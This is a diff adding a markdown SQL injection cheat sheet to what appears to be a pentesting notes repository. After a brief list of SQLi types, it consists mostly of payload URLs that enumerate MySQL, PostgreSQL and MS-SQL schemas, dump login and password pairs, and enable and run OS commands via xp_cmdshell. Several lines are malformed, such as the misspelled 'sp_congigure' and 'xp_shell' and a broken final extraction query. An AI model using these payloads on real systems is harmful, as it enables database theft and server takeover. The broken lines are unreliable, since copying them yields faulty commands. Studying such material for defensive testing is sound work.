sqli

SQL Injection.md

@@ -1 +1,164 @@
-# Soon!
+# SQL injection 
+
+## Introduction
+
+    It is an attack in which an attacker inserts untrusted data in the application that results in revealing sensitive information of the database. 
+
+    SQL Injection (SQLi) is a code injection attack where an attacker manipulates the data being sent to the server to execute malicious SQL statements to control a web application’s database server, thereby accessing, modifying and deleting unauthorized data. This attack is mainly used to take over database servers. 
+
+- In-band SQLi (Classic SQLi) 
+- Error-based SQLi
+- Union-based SQLi 
+- Inferential SQLi (Blind SQLi) 
+- Boolean-based (content-based) Blind SQLi 
+- Time-based Blind SQLi 
+- Out-of-band SQLi 
+
+## How to exploit
+# SQLI tricks
+
+## GET
+
+### Error-Based
+
+### Simple test
+
+`Adding a simpe quote '`
+
+Example: `http://vulnerable-website.com/Less-1/?id=5'`
+
+### Fuzzing
+
+Sorting columns to find maximum column
+
+`http://vulnerable-website.com/Less-1/?id=-1 order by 1`
+
+`http://vulnerable-website.com/Less-1/?id=-1 order by 2`
+
+`http://vulnerable-website.com/Less-1/?id=-1 order by 3`
+
+(until it stop returning errors)
+
+---
+
+
+### Finding what column is injectable
+
+**mysql**
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, 3` (using the same amount of columns you got on the previous step)
+
+**postgresql**
+`http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, NULL` (using the same amount of columns you got on the previous step)
+
+ one of the columns will be printed with the respective number
+
+---
+
+
+#### Finding version
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, version()` **mysql**
+`http://vulnerable-website.com/Less-1/?id=-1 union select NULL, NULL, version()` **postgres**s
+
+
+#### Finding database name
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1,2, database()` **mysql**
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select NULL,NULL, database()` **postgres**
+
+
+#### Finding usernames logged in
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, current_user()` **mysql**
+
+
+#### Finding databases
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, schema_name from information_schema.schemata` **mysql**
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, datname from pg_database` **postgres**
+
+
+#### Finding table names from a database
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, table_name from information_schema.tables where table_schema="database_name"` **mysql**
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, tablename from pg_tables where table_catalog="database_name"` **postgres**
+
+
+#### Finding column names from a table
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_schema="database_name" and table_name="tablename"` **mysql**
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, column_name from information_schema.columns where table_catalog="database_name" and table_name="tablename"` **postgres**
+
+#### Concatenate
+
+Example:
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login from users;`
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, password from users;`
+
+in one query
+
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, concat(login,':',password) from users;` **mysql**
+`http://vulnerable-website.com/Less-1/?id=-1 union select 1, 2, login||':'||password from users;` **postgres**
+
+
+### Error Based SQLI (USUALLY MS-SQL)
+
+#### Current user
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(user_name() as varchar(4096)))--`
+
+
+#### DBMS version
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(@@version as varchar(4096)))--`
+
+
+#### Database name
+
+`http://vulnerable-website.com/Less-1/?id=-1 or db_name(0)=0 --`
+
+
+#### Tables from a database
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U')--`
+
+---
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(name as varchar(4096)) FROM dbname..sysobjects where xtype='U' AND name NOT IN ('previouslyFoundTable',...))--`
+
+
+#### Columns within a table
+
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename')--`
+
+> remember to change **dbname** and **tablename** accordingly with the given situation
+> after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(dbname..syscolumns.name as varchar(4096)) FROM dbname..syscolumns, dbname..sysobjects WHERE dbname..syscolumns.id=dbname..sysobjects.id AND dbname..sysobjects.name = 'tablename' AND dbname..syscolumns.name NOT IN('previously found column name', ...))--`
+
+
+#### Actual data
+
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename)--`
+
+> after each iteration a new column name will be found, make sure add it to ** previously found column name ** separated by comma as on the next sample
+
+`http://vulnerable-website.com/Less-1/?id=-1 or 1 in (SELECT TOP 1 CAST(columnName as varchar(4096)) FROM tablename AND name NOT IN('previously found row data'))--`
+
+
+#### Shell commands
+
+`EXEC master..xp_cmdshell <command>`
+
+> you need yo be 'sa' user
+
+#### Enabling shell commands
+
+`EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_congigure 'xp_shell', 1; RECONFIGURE;`